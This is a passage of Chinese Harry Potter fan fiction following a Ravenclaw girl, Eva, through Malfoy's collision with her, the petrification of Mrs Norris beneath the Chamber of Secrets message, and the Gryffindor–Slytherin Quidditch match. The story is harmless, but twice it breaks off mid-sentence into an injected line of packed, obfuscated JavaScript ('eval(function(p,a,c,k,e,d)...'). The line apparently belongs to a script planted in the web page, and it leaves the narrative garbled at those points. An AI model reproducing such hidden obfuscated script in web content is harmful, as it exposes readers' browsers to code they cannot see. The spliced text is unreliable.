他从未见过她这样的表情。不是平静,不是礼貌性的微笑,不是带着距离感的观察,而是一种真实的、猝不及防的、因疼痛而显露的脆弱。他甚至能看到她眼中那层水光下,自己骤然放大的、错愕的倒影。 更因为他闻到了——在近得几乎能感受到对方因疼痛而微颤的呼吸的距离里,撞入他鼻腔的,不是走廊惯有的灰尘和潮湿气味,也不是他自己身上那种昂贵的柑橘调古龙水味。而是一种极淡的、清冽的……像是雨后竹林里新叶的气息,又像是某种晒干了的、带着微苦药香的草本植物。很特别,和他熟悉的任何气味都不同。这气息混合着她眼中那闪烁的泪光,形成一种极其强烈的、冲击感官的对比。 时间仿佛被拉长了。 马尔福的怒火、烦躁、所有想要宣泄的恶毒言语,都像是被一只无形的手猛地掐住了喉咙。他看着眼前这个因为他的冲撞而疼得眼中含泪、却又强忍着不肯让泪水掉下来的女孩,看着她迅速眨动眼睛试图驱散那层水雾、却因为疼痛而未能完全成功的倔强模样,一种前所未有的、极其复杂的情绪猛地攫住了他——那是混杂着尴尬、恼怒,一丝连他自己都不愿承认的慌乱,以及一种被那双含泪的眼睛如此近距离注视时产生的、尖锐而陌生的悸动。 他张了张嘴,似乎想说什么,也许是习惯性的讥讽,也许是恼怒的斥责,或者只是一声冷哼。但最终,他什么声音也没发出来,只是猛地别开了脸,像是厌恶再与她对视,苍白的脸颊上似乎泛起一丝极淡的、几乎看不见的红晕。他几乎是粗鲁地、肩膀重重地擦过Eva身侧,头也不回地大步离开,袍角甩得猎猎作响,步伐快得像是要逃离什么。克拉布和高尔愣了一下,赶紧笨拙地绕过Eva和地上散落的书本,匆匆追了上去。 Eva靠在墙上,深呼吸了几次,努力让那股尖锐的疼痛平复下去,也让眼中那不受控制的泪意退去。她能感觉到他经过时带起的那阵风里,还残留着怒气未消的余温,和那股浓烈的柑橘古龙水味。她缓了缓,才弯腰开始捡拾掉落的书本和羊皮纸。 36. 墙上的警告 “Eva!你没事吧?” 哈利的声音和脚步声几乎同时到达。他和罗恩、赫敏一起快步冲了过来,绿眼睛里燃烧着未消的怒火,但看向Eva时立刻被急切取代。罗恩也凑了过来,脸上还带着对马尔福的愤怒,但眼里同样有关心;赫敏则已经拿出魔杖,似乎想检查一下。 “撞到哪儿了?严不严重?”哈利的问题连珠炮似的,他的手在空中虚扶了一下,又克制地放下,“那个混蛋马尔福!他绝对是故意的!”他的愤怒显然更多是针对马尔福的恶劣行径,而非仅仅针对Eva受伤这件事本身。 “只是肩膀和背撞了一下,有点疼,没事。”Eva轻声说,试图让语气显得轻松些。 “‘有点疼’?”罗恩插话,声音依然气呼呼的,“看他那架势,跟发疯的公牛似的!Eva,你真得去医疗翼看看!” 赫敏也点头,声音比平时柔和,带着担忧:“撞击伤有时候比看起来严重。而且撞在石墙上……庞弗雷夫人有很好的药膏。” “我真的没事,”Eva摇摇头,对他们三个露出一个安抚的微笑,“缓一下就好。你们快走吧,费尔奇要发火了。” 哈利看着Eva坚持的眼神,又看看脸色不善的费尔奇,最终抿了抿嘴,点了点头。但他还是忍不住压低声音快速说道:“那……你回去自己检查一下,如果疼得厉害,一定别忍着。”这话更像是一个朋友间不放心的叮嘱。 罗恩也在旁边重重哼了一声:“便宜马尔福那个家伙了!Eva,要是有什么事,我们给你作证!” Eva对他们三人再次点点头,示意自己可以。哈利又看了她一眼,确认她确实站得稳,眼神也清明,这才和罗恩、赫敏一起转身离开。走了几步,罗恩还在气鼓鼓地跟哈利说着什么,哈利则回头又望了一眼——那眼神里担忧尚未完全散去,但更多是确认她是否安全离开。 万圣节晚宴时分,礼堂被装饰得金碧辉煌,充满节日气氛。 上千只活蝙蝠在天花板和墙壁间扑棱棱地飞着,另有几百只像一团团低矮的乌云,在四条长桌上方盘旋飞舞,使那些镂空雕刻的南瓜肚里的蜡烛火苗一阵阵扑闪。美味佳肴突然出现在金色的盘子里,跟开学宴会上一样丰盛:烤得金黄的整只火鸡、堆成小山的蜜汁火腿、油亮亮的烤香肠、各种做法的土豆、青翠的豌豆苗、浓稠的肉汁……食物的香气和南瓜灯笼暖黄的光晕混在一起,暂时驱散了城堡里连日阴雨带来的潮气和寒意。 Eva坐在拉文克劳长桌中间的位置,面前摆着一小份烤土豆、豌豆苗和几片蜜汁火腿。她没什么胃口,只是机械地用叉子拨弄着食物。肩膀和后腰被撞到的地方还在隐隐作痛,每一次动作都在提醒她下午的碰撞。 周围是喧闹的欢声笑语。曼蒂和帕德玛在热烈争论是糖浆水果馅饼里的莓果酱好吃,还是巧克力坩埚蛋糕里的软心更胜一筹。丽莎正眉飞色舞地讲着她从哥哥那里听来的、关于皮皮鬼去年万圣节把施了漂浮咒的南瓜扔进桃金娘盥洗室的恶作剧。空气中弥漫着食物的热气、南瓜香料的甜腻,以及几百个兴奋孩子交谈嬉笑的嗡嗡声。 宴会进行到一半时,盘子里的食物自动清理一空,换上了琳琅满目的各式甜点。就在大家开始享用布丁、馅饼和蛋糕时—— 一声凄厉到不似人声的尖叫,猛地撕裂了礼堂里所有的欢笑和喧哗! 那尖叫充满极致的恐惧和痛苦,从门厅的方向传来,尖锐得几乎能刺破耳膜,在城堡高耸的石壁间反复回荡、碰撞,让每个人的心脏都像被一只冰冷的手狠狠攥住。 瞬间,礼堂里死一般的寂静。连空中飞舞的蝙蝠都仿佛僵在了半空,南瓜灯笼里的烛火停止了跳动。 紧接着,管理员阿格斯·费尔奇跌跌撞撞地冲了进来。他平时那张总是阴沉着的、布满皱纹的脸,此刻惨白如墙壁上的石灰,眼睛瞪得几乎要脱出眼眶,嘴巴大张着,却因为过度惊恐只能发出“嗬……嗬……”的抽气声。他像喝醉了酒一样踉跄着,一只手死死抓住自己的胸口,另一只手指着门外,嘶哑地、破碎地喊道: “我的猫!洛丽丝夫人!它——墙上——有字!杀人了!出事啦!” 邓布利多教授几乎是立刻站了起来,动作快得不像一位白发苍苍的老人。他银白色的长眉下,那双通常闪烁着温和智慧的蓝眼睛此刻锐利如剑,扫过瞬间陷入混乱的礼堂。“级长,”他的声音不高,却异常清晰地压过了所有骚动,带着不容置疑的威严,“立刻带领你们学院的学生返回宿舍。所有教授,跟我来。” “轰”地一声,礼堂炸开了锅。恐慌像瘟疫般疯狂蔓延。学生们惊叫着跳起来,椅子刮擦地板发出刺耳的声音,询问、尖叫、猜测乱成一团。 “安静!保持秩序!”各学院的级长们声嘶力竭地呼喊着,努力组织乱成一团的人群。 拉文克劳级长佩内洛·克里瓦特的声音在Eva耳边响起,尖利而急促:“拉文克劳!这边!跟上!不要推挤,不要掉队!” Eva被慌乱的人流裹挟着离开礼堂。走廊里更加混乱,不同学院的学生挤在一起,级长的呼喊几乎被淹没。但恐惧之中也混杂着强烈的好奇,很多人并没有立刻离开,而是不由自主地朝着费尔奇冲出来的方向——也就是出事地点——涌去。 Eva也被这股人流推搡着,在二楼那条走廊的入口处,她终于看见了让费尔奇魂飞魄散的一幕。 火把的光芒在潮湿的空气中跳跃不定,将一切蒙上了一层诡异晃动的阴影。那面潮湿的石墙上,涂抹着两行巨大的字迹,每一笔都仿佛在往下滴淌着某种银光闪闪的、黏稠的液体。那液体在火光下折射出诡异的光泽,顺着石壁的纹理蜿蜒而下,像一条条细小的、发光的小蛇。 密室已经被打开。 与继承人为敌者,警惕。 字迹下方,靠着墙脚,洛丽丝夫人——费尔奇那只瘦骨嶙峋、被他视若珍宝的猫——僵硬地倒挂在一个熄灭的火把支架上,尾巴直挺挺地竖着,浑身的毛都炸开了,眼睛瞪得溜圆,充满了凝固的、极致的惊恐。它的样子不像死了,更像……被某种可怕的力量瞬间夺去了生机,变成了一尊僵硬的石像。 而在僵硬的小猫和那些散发着不祥气息的字迹之间的地面上,有一大滩水。清澈的,在粗糙的石板地面上蔓延开,形成一片不规则的光滑镜面,反射着天花板上摇曳不定的火把光芒。那水迹的范围很大,湿漉漉的,一直延伸到墙根,甚至墙上那些吓人字迹的下方,也挂着几颗将滴未滴的晶莹水珠。 费尔奇瘫坐在猫旁边,发出受伤野兽般的呜咽,浑浊的眼泪顺着他沟壑纵横的脸颊流下来。教授们面色凝重地围在周围。吉德罗·洛哈特挤在最前面,脸色发青,嘴唇哆嗦着,想说什么又说不出来,最后只喃喃道:“啊,天哪……这太可怕了……毫无疑问,这是最邪恶的黑魔法……” “安静,吉德罗。”邓布利多的声音平静地响起,他俯身仔细检查着洛丽丝夫人,修长的手指轻轻拂过小猫僵硬的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“太可怕了……”曼蒂小声说,声音带着颤音,“墙上那些字……是用什么写的?是血吗?还有那么多水……是那个‘继承人’弄的吗?他就在城堡里,对不对?他会不会……会不会对我们……”她说不下去了,恐惧地抓住了Eva的胳膊。 “邓布利多教授在,”Eva轻声安慰,脱下厚重的校袍。腕上的玉佩温润如常,没有任何预警的灼热。那确实不是黑暗灵魂或者恶咒的力量——至少玉佩没有反应。那只是一种强大的、危险的魔法生物造成的石化。但那些水……那些无处不在的、湿漉漉的痕迹,和墙上地上刺眼的水迹,它们之间一定有某种联系。还有那种冰冷的、带着摩擦感的嗡鸣,和空气中挥之不去的土腥味…… 她躺在床上,听着旁边床上曼蒂渐渐平稳下来、却依然带着不安的呼吸声,自己却毫无睡意。窗外的万圣节月亮又大又圆,像一只冰冷的、毫无感情的眼睛,将清辉冷冷地洒进高塔。 肩膀被撞到的地方还在隐隐作痛,提醒着傍晚走廊里那混乱的一幕。Eva想起马尔福苍白的脸上那混合着怒火和慌乱的表情。爷爷的话在记忆中浮现:“气急则神昏,行躁则祸生。”一个人失控的言语和行动,往往最先伤及旁人,最终也会反噬自身。马尔福今天的行为,无论是口出恶言还是横冲直撞,都完美印证了这一点。她轻轻摸了摸仍在发酸的肩胛。 密室被打开了。 继承人在行动。 一个看不见的、湿漉漉的、危险的东西,正在城堡的阴影里游荡。 37. 训练场风波 洛丽丝夫人被石化后的那几天,城堡里的空气像凝固的胶水。 走路时,学生们会下意识地加快脚步,目光警惕地扫过每一个潮湿的墙角、每一道空荡荡的走廊拐角。费尔奇像只受伤的野兽,拖着脚步在走廊里游荡,通红的眼睛死死盯着每一个经过的学生,仿佛石化他那只猫的凶手就在他们中间。 “一定是他……波特……”一次魔咒课后,Eva听见费尔奇在三楼走廊的拐角处喃喃自语,枯瘦的手指神经质地抠着墙上的一块污渍,“我看到他那天晚上的眼神了……迟早……迟早我会拿到证据……” 那声音阴森森的,在空荡的走廊里回荡。一个路过的赫奇帕奇一年级生吓得抱紧书本,几乎是跑着离开了。 谣言像霉菌一样在潮湿的城堡里滋生、蔓延,但指向往往模糊而充满情绪。 拉文克劳塔楼里,气氛稍微好些——毕竟拉文克劳推崇理智与事实,但恐惧还是会悄悄钻进被窝,在深夜的梦境里变成湿漉漉的影子。 “Eva,你说……密室真的存在吗?怪物会是什么?”一天晚上,曼蒂小声问,手指无意识地绞着被角。 “邓布利多教授说会调查。”Eva轻声回答。她其实也在想这件事,但想不明白。“那些字下面的水……还有洛丽丝夫人旁边,也有好大一滩水。” “水?”曼蒂困惑地问。 “嗯,特别清亮,不像是普通积水。”Eva翻了个身,面对着曼蒂的床铺,“我这些天在走廊里,也总看到一小摊一小摊的水,位置都挺怪的。” 丽莎在对面床上幽幽地说:“我妈妈说,有些东西就喜欢湿乎乎、黑漆漆的地方。” 窗外,十一月的风刮过塔楼。Eva闭上眼睛,脑子里还是那晚的画面:墙上发光的字,僵硬的猫,地上那滩亮得刺眼的水。还有那股味道——下雨天翻动花园泥土时的那种味道,这几天在城堡里好像也能隐隐约约闻到。 魁地奇赛季在恐惧的阴影中逼近。 一个周六早晨,天气难得放晴。Eva本来打算去图书馆,但曼蒂硬拉着她去看格兰芬多的集训。 “就当透透气嘛!”曼蒂说,“整天待在城堡里,我都快发霉了。” 她们走到城堡大门时,正好遇见哈利、罗恩和赫敏。哈利手里提着他那把光轮2000。 “早。训练加油。”Eva点头致意。 “早。”哈利笑了笑,但笑容有些勉强——这几天关于“斯莱特林继承人”的谣言让他备受困扰。 就在这时,城堡大门外传来一阵刻意放大的谈笑声。 一队穿着银绿色队袍的学生正从门口走进来,刚好和他们打了个照面。走在最前面的是斯莱特林队队长马库斯·弗林特,而他身后—— 德拉科·马尔福穿着崭新的斯莱特林队服,手里提着一把闪闪发光的扫帚。不是学校库存的老旧彗星或横扫系列,帚柄线条流畅得惊人,在晨光下反射着高级木材和金属特有的冷冽光泽。 马尔福正跟旁边的克拉布说着什么,脸上带着那种惯有的、居高临下的笑容。但就在踏进大门的瞬间,他的目光扫过门口这群人——扫过哈利,扫过罗恩,然后,很自然地,落在了Eva身上。 他脸上的笑容微妙地停顿了一下。 那停顿非常短暂,可能连他自己都没意识到。但Eva看见了。那双灰蓝色的眼睛在她脸上停留了比在其他人身上更长的一瞬。 然后他的表情迅速恢复了常态,甚至笑容扩大了些,带着一种刻意加强的得意。 “他进队了?”罗恩的声音立刻冷了下来,随即看到了那把扫帚,脸色更难看了,“等等……那扫帚!梅林的胡子,那是光轮2001!最新款!现在根本买不到!” 马尔福显然很享受这种反应。他刻意放慢了脚步,让手里的光轮2001在晨光下更显眼地转动了一下。 “哟,波特,”他拖长了腔调,但Eva注意到,他在说这话时,眼角的余光似乎还瞟向她的方向,“还在用去年那把‘老’古董?”他的目光扫过罗恩的旧横扫七星,最后落回哈利脸上,但那种“表演”的意味太明显了,仿佛在向某个特定的观众展示他的优越感,“需要近距离观赏一下什么是真正的现代扫帚吗?当然,不是每个人都配得上这样的装备。” 赫敏证实了罗恩最不想听到的猜测,声音里带着一丝难以置信:“我听到的传言是真的。马尔福家向斯莱特林队捐赠了七把光轮2001。条件就是让德拉科当找球手。” “七把?!”罗恩倒抽一口冷气。 Eva也微微扬了扬眉。七把最新款、限量预订的顶级扫帚……这手笔确实很大。爸爸说过,有些人就喜欢用这种方式来显示自己的分量。 哈利盯着马尔福手里的光轮2001,嘴唇抿成一条线。 马尔福似乎还想说什么,但弗林特拍了拍他的肩膀:“走吧,德拉科。训练时间。” 斯莱特林队趾高气扬地走向球场。经过Eva身边时,马尔福的脚步似乎不易察觉地顿了一下——非常轻微,可能只是Eva的错觉。但他的目光这次是明确地、直接地看向了她。那双灰蓝色的眼睛里没有了刚才刻意表演的得意,反而闪过一种更复杂的情绪——评估,还有一丝难以捉摸的审视。仿佛在确认什么,又像在衡量。 然后他迅速转开目光,跟着队伍走了,但背脊挺得比刚才更直。 “真受不了,”罗恩愤愤地说,“靠捐扫帚进队……” “好了,我们也该去球场了。”哈利深吸一口气。 到了球场,伍德已经在等他们了。格兰芬多队正准备开始热身,斯莱特林队则在另一边做着准备活动。 伍德大步走到弗林特面前,手里攥着一张羊皮纸:“训练时间,弗林特!今天上午的球场使用权是我们格兰芬多申请批准的!申请表在这儿!” 弗林特不仅没生气,反而咧开嘴笑了,也从怀里抽出一张羊皮纸,慢悠悠地在伍德面前晃了晃:“别激动,伍德。我们也申请了。看清楚了?为了‘训练新队员和适应重要的新装备’——这可是得到了霍琦女士特批的。”他故意把“重要的新装备”几个字咬得很重。 两个队长怒目而视。看台上的曼蒂紧张地抓住Eva的袖子:“要打起来吗?” Eva摇摇头,目光却不由自主地飘向斯莱特林队那边。 最终,伍德压下怒火,带着格兰芬多队愤愤不平地离开了。Eva和曼蒂留在了看台上。 斯莱特林队开始训练。马尔福骑上光轮2001,流畅地升空。新扫帚的性能确实卓越,启动几乎无声,爬升迅捷平稳。最初的绕场和传接球练习中,他完成得标准而准确,像个用最贵颜料临摹大师作品的学生——挑不出错,但也没什么灵气。 Eva平静地看着。她能看出,马尔福的基础不错,至少远比克拉布和高尔那种纯粹靠体型撑场面的强。光轮2001放大了他的优势,让他每一个常规动作都显得轻盈利落。 然而,几次简单的配合后,一丝不协调出现了。 在一次低空掠过球门柱、按规定路线折返时,马尔福的脑袋极其快速地向看台方向偏了一下,角度小得像是只是为了确认扫帚柄的握持感。但那个角度,怎么看都不是在检查扫帚。 紧接着,在下一个传接球练习中,沃林顿用力将游走球击向他作为训练的模拟路线。马尔福本该提前加速接应,却似乎迟疑了半秒,导致扫帚尾梢与沉重的游走球险险擦过,发出“嗤”的一声刺耳摩擦。沃林顿在下面不满地吼了一声。 弗林特吹响了哨子,冲天上比划着,显然在强调配合和专注。 马尔福苍白的脸上浮起一层淡淡的、因失误和被训斥而产生的红晕。他抿紧嘴唇,重新握好扫帚,接下来的动作变得更加用力,甚至有些僵硬。他不再看向看台,而是死死盯着前方的目标,完成了一次堪称教科书般的俯冲急停。 但Eva注意到,在他拉起扫帚、重新升空的瞬间,他的后背绷得极直,那不是放松的飞行姿态,而是一种全身心的、带着情绪化的紧绷。仿佛在跟谁较劲,又仿佛在防备什么。 他不再尝试任何花哨或危险的动作,但那种“较劲”的感觉弥漫在整个练习中。一次简单的八字绕柱,他飞得速度过快,转弯时帚柄带出尖锐的风声。又一次接应传球,他抢在队友之前猛地截走球,动作干净利落,却透着一股急于证明什么的急躁,破坏了队形节奏。 弗林特的眉头越皱越紧。 训练在一种不算圆满的气氛中提前结束了。弗林特把队员们召集起来,显然在进行总结。马尔福被单独叫到一边。他低着头听弗林特说着什么,手指无意识地摩挲着光轮2001光滑的柄身,偶尔会飞快地抬一下眼皮——方向似乎是看台,又或许只是漫无目的的一瞥。他的脸色比刚才更白了些,下颚线绷紧,带着一种混合了不服气、懊恼和更深层烦躁的表情。 他最终没有争辩,只是点了点头,转身跟着队伍离开。自始至终,他没有再向看台投来任何明确的、带有情绪的目光。但那挺直的、甚至有些僵硬的背影,却比任何瞪视都更能传达出一种复杂的讯号:他知道有人在看,并且因此受到了影响。 “嗯。”Eva点点头,收回了目光。她想起爷爷以前教她写字时说:“手腕要稳,心要静。一笔下去,手抖了,字就歪了。”刚才天上那个银绿色的影子,就好像手腕抖了一下的人——明明拿着最好的笔,墨也是上等的,可写出来的笔画就是不对劲。 “不过,”曼蒂撇撇嘴,还是不服气,“靠捐扫帚进队,总觉得……怪怪的。” “规则是允许的。”Eva说。爸爸说过,有些事就是这样,明知道哪里不对劲,可它偏偏就在规则里头。“而且他本来就会飞,”她想了想,补充道,“就是……好像飞着飞着,自己跟自己较上劲了。” 曼蒂“噗嗤”笑了:“你这么一说,还真是!后来他那样子,就像我弟弟非要证明自己能搭好积木塔,结果越搭手越抖,最后‘哗啦’全倒了!” Eva也弯了弯嘴角。确实像。 回城堡的路上,曼蒂还在嘀咕斯莱特林的“金加隆攻势”。Eva则想着刚才空中那个银绿色身影里透出的别扭和紧绷。那种状态,不像一个得意洋洋的炫耀者,更像一个被无形绳索捆住、挣扎着想表现得更完美却屡屡失手的少年。他最新的扫帚和最旧的烦恼,似乎都在那不太顺畅的飞行里了。 第二次袭击发生后的那几天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她没打算劝阻,也没打算参与。只是把这件事记在心里。 几天后,Eva晚上从图书馆回拉文克劳塔楼。经过三楼时,她闻到了一股奇怪的味道——从女生盥洗室的方向飘来。不是通常的清洁剂或者潮湿气味,而是一种复杂的、略带甜腥又混杂着化学物质的气息,有点像煮过头的魔药残渣,在空气中若有若无。 她脚步顿了顿。那个方向,正是桃金娘常驻的盥洗室。 Eva想起哈利他们提到的“复方汤剂”,想起需要熬制一个月,想起那些难搞的配料。她没有走近,也没有停留,只是继续向前走,但心里已经了然。 他们真的在做了。Eva胃里轻轻抽了一下。这太冒险了——万一把自己炸伤了怎么办?万一被人抓住了怎么办?哈利他们肯定知道风险,可他们还是做了。就像去年非要去找魔法石一样。 要不要告诉教授?这个念头只闪了一下就被她自己按回去了。告诉教授,哈利他们肯定会被重罚,而且再也不会信任她了。可要是什么都不做…… 再看看吧。Eva最后对自己说。她可以多留点心,至少保证他们不会把自己炸飞或者毒倒在盥洗室里。至于别的……她不是格兰芬多,没法跟他们一起冲进去,但也不能眼睁睁看着朋友往火坑里跳。她加快了脚步,走廊里只留下她轻微的、规律的脚步声。 又过了几天,Eva去上魔药课。下课回塔楼的路上,她听见两个赫奇帕奇学生在拐角处小声说话。 “……斯莱特林休息室那边,马尔福又在吹牛了。” “说什么了?” “具体没听清,但口气挺狂的,说‘很快某些人就得后悔’什么的……好像知道密室的事?” “真的假的?他知道怪物是什么?” “谁知道呢。不过他最近确实挺奇怪的,老说些神神秘秘的话,还老往图书馆跑,但又不是去学习的样子……” Eva脚步没停,心里却把这些话和最近的事情像拼图一样摆在一起。 马尔福知道密室的事?可能知道,也可能只是在吹牛——他最近确实老说些神神秘秘的话,就像总想显得自己比别人懂得多。 但如果他真的知道点什么……Eva想起墙上那些发光的字,下面总是湿漉漉的。想起洛丽丝夫人僵硬的样子,旁边也有一大滩水。还有这些天走廊里莫名其妙出现的水渍,空气里那股洗不掉的土腥味…… 水。这个字在她脑子里亮了一下。密室里的东西,会不会和水有关?会是什么东西,能留下这么多水,还能把人石化? 她不知道。线索太少了,像隔着毛玻璃看东西,只有模糊的影子。但至少,她知道该留意什么了。下次再看到水渍,得看清楚周围还有什么。 晚上在公共休息室,Eva写完魔法史论文,看着壁炉里的火苗出神。 窗外,风刮得更紧了,撞击着塔楼高高的窗户,发出呜呜的声响。 Eva摇摇头,收起羊皮纸。线索太少,猜测太多。先管好明天的功课吧。 城堡的冬天还很长呢。而那个湿漉漉的、在暗处游荡的东西,似乎也还没有离开的迹象。 38. 扫帚与魔杖 十一月的雨下得没完没了,冷得刺骨。魁地奇赛季第一场——格兰芬多对斯莱特林——就在这样一个阴沉的周六早晨到来。 比赛前夜,雨敲打着拉文克劳塔楼的窗玻璃,声音又急又密。Eva躺在床上,听着雨声和曼蒂均匀的呼吸声,很久没睡着。她想起白天在走廊里看见的一小滩水——就在三楼拐角,清亮亮的,在火把下反着光。费尔奇骂骂咧咧地拖着拖把来擦,但那股湿漉漉的土腥味还是在空气里飘了很久。 周六早上,雨居然停了。 天空是铁灰色的,云层低得仿佛要压到城堡塔尖。Eva走进礼堂时,长桌上已经摆满了早餐:热气腾腾的燕麦粥在银碗里冒着白气,煎蛋煎得恰到好处,烤面包金黄酥脆。但她没什么胃口,只盛了一小碗粥,慢慢搅动着。 拉文克劳长桌这边的气氛很热烈。几个高年级学生在争论胜负。 “斯莱特林肯定赢,”一个戴眼镜的男生说,“七把光轮2001,这还比什么?” “那可不一定,”秋·张的声音从Eva身后传来,她在Eva旁边坐下,手里拿着一杯南瓜汁,“扫帚再好,也要看骑手。而且伍德为了这场比赛准备很久了。” Eva抬眼看向格兰芬多长桌。哈利坐在那里,脸色有些发青,正机械地用叉子戳着盘子里的香肠。罗恩和赫敏坐在他两边,低声说着什么,表情担忧。哈利偶尔会抬手碰一下额头——那个动作很轻微,但Eva注意到了。 伤疤在疼。 早餐后,学生们涌向球场。风很大,吹得袍子像旗帜一样翻飞。Eva和朋友们在看台中间找了个位置,刚坐下,就看见两队队员从更衣室出来了。 斯莱特林队穿着银绿色队袍,七把光轮2001在队员手中闪闪发亮,在灰暗的天色下像七道冷冽的银光。马尔福走在队伍中间,苍白的脸上挂着惯有的傲慢,但Eva注意到他握着扫帚的手指过分用力,指节都泛白了。 格兰芬多队穿着金红色队袍,伍德走在最前面,下巴抬得老高,表情严肃得像要上刑场。哈利跟在后面,脸色比在礼堂时更差,眼下有淡淡的阴影。他的光轮2000在手里握着,看起来比光轮2001朴素得多。 霍琦夫人的哨声划破冷空气,尖利而急促。 十四把扫帚同时升空。 比赛从一开始就充满了火药味。斯莱特林凭借扫帚的速度优势频频发起进攻,但格兰芬多的防守像铜墙铁壁。哈利和马尔福在高处盘旋,两人的目光在空中相撞,像两道闪电劈在一起。 “鬼飞球到了约翰逊手里——漂亮的过人——传给了斯平内特——射门!伍德扑住了!”李·乔丹的声音在场地上空回荡,因为激动而有些破音,“斯莱特林攻势很猛,但格兰芬多守得真严实!” Eva的目光追着哈利。他飞得还算稳,但动作有些僵硬,不像平时那么灵活。有一次俯冲追球时差点撞到球门柱,看台上响起一片惊呼。 马尔福似乎察觉到了什么。他开始故意靠近哈利,不是攻击,更像是在试探。有一次两人在高速飞行中擦肩而过,马尔福说了句什么,哈利的脸瞬间变得更苍白,握着扫帚的手明显晃了一下。 “他在故意干扰哈利。”秋·张低声说,眉头微皱,“不太光彩。” 比赛进行到二十分钟时,意外发生了。 一个游走球突然像发了疯一样,死死追着哈利不放。伍德在球门处大喊:“小心!那个游走球有问题!” 哈利左躲右闪,游走球紧追不舍,几次险险擦过他的扫帚尾,带起尖锐的风声。弗雷德和乔治骑着扫帚冲过来,试图用击球棍把它打飞,但它总是绕个弯又回来,目标明确得吓人。 “有人对游走球做了手脚!”李·乔丹的声音里带着愤怒,“这是严重的犯规!” 但比赛没有停止。霍琦夫人紧张地盯着那个疯狂的游走球,魔杖已经握在手里,随时准备干预。 Eva的心提到了嗓子眼。她看向教师席——麦格教授站了起来,脸色铁青,嘴唇抿成一条线;斯内普教授的黑眼睛死死盯着空中的哈利,表情难以捉摸;邓布利多教授也站起来了,半月形眼镜后的蓝眼睛缓缓扫视全场,最后在斯莱特林看台的方向停留了一瞬。 就在这时,哈利做了一个所有人都没想到的动作。 他突然不再躲避,而是猛地拉起扫帚,迎着追来的游走球直冲过去——在最后一秒急转弯,游走球擦着他的袍子下摆飞过,重重撞在看台下面的石墙上,发出“砰”的一声闷响,碎石飞溅。 看台上爆发出惊呼,随即是热烈的掌声。 但哈利没有停。他的目光锁定了什么——金色飞贼,就在球场另一端低空闪烁,像一颗调皮的小星星。 马尔福也看到了。他咒骂一声,光轮2001瞬间加速,像一道银绿色的闪电追了上去。新扫帚的性能确实卓越,启动几乎无声,速度比哈利的光轮2000快了一截。 两只扫帚并排疾驰,距离越来越近。哈利在前,马尔福在后,两人的袍子在冷风中猎猎作响,像两面交锋的旗帜。 那个疯狂的游走球又调整方向追了上来。 “小心后面!”伍德在下面嘶吼,声音都变了调。 哈利回头看了一眼,突然做了一个惊险到极点的动作——他猛地俯冲,几乎贴着草皮飞行,扫帚尾梢擦到了地面,带起一小片草屑。游走球跟着俯冲,在离地面只有几英寸的地方险险掠过,狠狠砸进了场地边缘的软土里。 马尔福被这突然的变向打乱了节奏。他不得不紧急拉起扫帚躲避,动作有些狼狈,光轮2001在空中划出一道不太优美的弧线。 就是现在! 哈利的手猛地向前一抓,手指在冷空气中收紧—— “他抓到了!”李·乔丹的尖叫几乎掀翻了看台,“哈利·波特抓到了金色飞贼!格兰芬多获胜!一百七十分比六十!” 金红色的浪潮瞬间淹没了球场。格兰芬多学生们从看台上冲下去,像决堤的洪水涌向自己的队员。哈利被安吉丽娜和凯蒂抱起来抛向空中,虽然袍子下摆被游走球擦破了,胳膊上也有擦伤,但绿眼睛里满是胜利的光芒,在灰暗的天空下亮得惊人。 斯莱特林队垂头丧气地降落。马尔福是最后一个下来的,落地时动作有些重,他把光轮2001狠狠插在地上,力气大得像是要把那昂贵的扫帚柄折断。他脸色白得像刚漂过的羊皮纸,灰蓝色的眼睛死死盯着被众人簇拥的哈利,嘴唇抿成一条没有血色的细线,下颌线绷得紧紧的。 克拉布和高尔笨拙地凑过去,似乎想安慰两句,被他粗暴地一挥手推开。潘西·帕金森从看台上跑下来,刚张开嘴,马尔福就转身抓起扫帚,头也不回地走向更衣室。他的背影像一根绷得太紧的弓弦,每一步都踩得很重,银绿色的队袍在身后翻卷,像一片不甘心的雷云。 Eva收回目光,低头整理自己的袍子袖口。肩膀被撞到的地方早就不疼了,但刚才马尔福那个摔扫帚的动作让她想起走廊里那次碰撞——那么用力,那么情绪化,像个输不起的孩子。 那天晚上的礼堂比平时热闹。虽然只是学院间的比赛,但格兰芬多战胜了装备精良的斯莱特林,这本身就值得庆祝。长桌上出现了额外的甜品——巧克力坩埚蛋糕堆成了小山,糖浆水果馅饼散发着诱人的甜香。 伍德高兴得满脸通红,挨个拍队员的肩膀,声音大得半个礼堂都能听见:“干得好!我就知道我们能赢!”哈利被围在中间,虽然庞弗雷夫人已经治好了他的擦伤,但脸上还带着疲惫后的红晕,绿眼睛在烛光下闪闪发亮。 斯莱特林长桌那边则是一片低气压。马尔福独自坐在长桌末端,面前的金盘子空着,连杯水都没有。他坐得很直,背脊挺得像尺子量过,但整个人散发出一股生人勿近的冷硬。潘西·帕金森几次试图凑过去说话,都被他一个眼神冻了回去。 Eva小口吃着盘子里的烤牛肉,约克郡布丁烤得蓬松,肉汁浓郁。她吃得心不在焉,脑子里还是白天球场上那个摔扫帚的身影。那么贵的扫帚,就那么往地上戳,真是…… 决斗俱乐部的消息是在几天后传开的。 周五晚上,礼堂中央的长桌被魔法移到了墙边,留出一大片空地。高高的天花板上闪烁着星星的微光,数百支蜡烛飘浮在空中,把大厅照得亮如白昼。学生们挤在周围,兴奋的议论声嗡嗡作响,像一大群被惊扰的蜜蜂。 洛哈特教授站在临时搭起的舞台中央,穿着那身刺眼的紫红色绣金边长袍,笑容灿烂得几乎要灼伤人眼。他旁边站着斯内普教授,一袭黑袍像一片凝聚的夜色,脸色阴沉得能拧出水来。 